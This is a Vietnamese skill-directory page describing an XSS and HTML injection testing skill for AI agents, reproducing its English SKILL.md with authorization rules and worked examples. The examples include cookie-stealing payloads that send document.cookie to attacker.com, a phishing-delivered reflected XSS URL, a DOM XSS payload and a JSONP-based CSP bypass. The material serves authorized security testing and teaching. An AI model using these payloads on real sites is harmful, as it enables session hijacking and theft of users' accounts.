Chuyển đến nội dung
Skillpedia
Bảo mật48k · #6218

xss-html-injection

Skill này làm gì

Công cụ này giúp kiểm tra xem website có lỗ hổng bảo mật nào cho phép kẻ tấn công đánh cắp thông tin hoặc kiểm soát tài khoản người dùng hay không. Nó mô phỏng các kiểu tấn công phổ biến để tìm ra những lỗ hổng này.

Khi nào nên dùng

  • ✓Khi bạn cần kiểm thử bảo mật của một website mà bạn có quyền phân tích.
  • ✓Khi bạn muốn tìm hiểu cách các lỗ hổng bảo mật hoạt động trong một môi trường được kiểm soát.
  • ✓Khi bạn muốn kiểm tra xem hệ thống phòng thủ của một website trước các cuộc tấn công có hoạt động đúng không.

Liên kết skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Tôi muốn kiểm tra xem website “example.com” có lỗ hổng XSS và HTML injection không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ gửi mã độc đã được ngụy trang tới website và quan sát phản ứng. Nếu website hiển thị hoặc thực thi đoạn mã đó, nó có thể có lỗ hổng bảo mật.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cross-Site Scripting and HTML Injection Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements

Technical Limitations

  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks
  • Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

  • Written authorization required before testing
  • Report critical XSS vulnerabilities immediately
  • Handle captured credentials per data protection agreements
  • Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

Câu hỏi thường gặp

XSS là gì?

XSS (Cross-Site Scripting) là kiểu tấn công trong đó kẻ tấn công chèn script độc hại vào website đáng tin cậy, và script này sau đó được thực thi trên trình duyệt của người dùng khác.

HTML injection là gì?

HTML injection là kiểu tấn công trong đó kẻ tấn công chèn mã HTML vào trang web, làm thay đổi nội dung hoặc hành vi của trang nhằm mục đích xấu.

Tôi có cần được cấp quyền để dùng công cụ này không?

Có, bạn bắt buộc phải có sự cho phép rõ ràng, bằng văn bản, từ chủ sở hữu website trước khi thực hiện bất kỳ kiểm thử nào. Dùng công cụ này khi chưa được cấp phép là vi phạm pháp luật.

Chi tiết

Mô tả gốc của tác giả

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.

repo: sickn33/agentic-awesome-skills

Độ phổ biến

Sao GitHub
48k
Vị trí xếp hạng
#6218
Giấy phép
MIT
Cập nhật
15/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự